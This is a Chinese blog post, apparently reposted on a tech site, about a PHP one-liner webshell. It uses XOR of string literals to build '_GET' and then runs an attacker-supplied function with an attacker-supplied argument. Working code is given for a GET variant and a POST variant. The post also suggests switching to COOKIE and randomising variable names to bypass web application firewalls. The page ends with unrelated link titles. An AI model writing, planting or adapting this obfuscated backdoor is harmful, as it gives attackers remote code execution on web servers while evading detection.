客服电话
APP下载
迪恩网络APP
随时随地掌握行业动态
官方微信
扫描二维码
关注迪恩网络微信公众号
|
今天看到如下图所示的PHP一句话，觉得挺有意思。 代码如下： <?=~$_='$<>/'^'{{{{';echo $_;@${$_}[_](@${$_}[__]);?>
效果图： 看下图注释应该就可以一目了然了，就是根据异或运算得到$_=’_GET’。 如果想换成POST方法，则可变化如下。 <?=~$_='$+4(/'^'{{{{{';@${$_}[_](@${$_}[__]);?>
效果图： 换成COOKIE方法，则可变化如下，用于bypass waf更有用吧。这只是一种思路，这个句子还可以有很多种变形，比如随机变量名。 引用: https://www.php.net/manual/zh/language.operators.bitwise.php http://asciima.com/ 转载请注明出处。 |
2022-07-18
2022-08-17
2022-11-06
2022-08-17
2022-07-29
Windows Boot Manager Security Feature Bypass Vulnerability.
PacktPublishing/Python-Machine-Learning-Second-Edition: Python Machine Learning
altair-viz/altair: Declarative statistical visualization library for Python
sussillo/hfopt-matlab: A parallel, cpu-based matlab implemention of the Hessian
win7系统电脑使用过程中有不少朋友表示遇到过win7系统USB驱动器RAM的状况，当出现win7
emersion/go-ostatus: An OStatus library written in Go
这篇文章讲的很好 但是那位老哥 你唯一没有说的就是 最后结局方法里面的 env:“jnfrie
elipapa/markdown-cv: a simple template to write your CV in a readable markdown f
zju-sclab/NDT-library: These is ndt library for ndt_mapping and ndt_localization
Call Me Maybe 中英字幕 对于加拿大歌手卡莉·蕾·吉普森很多人有些陌生，她隶属于贾
请发表评论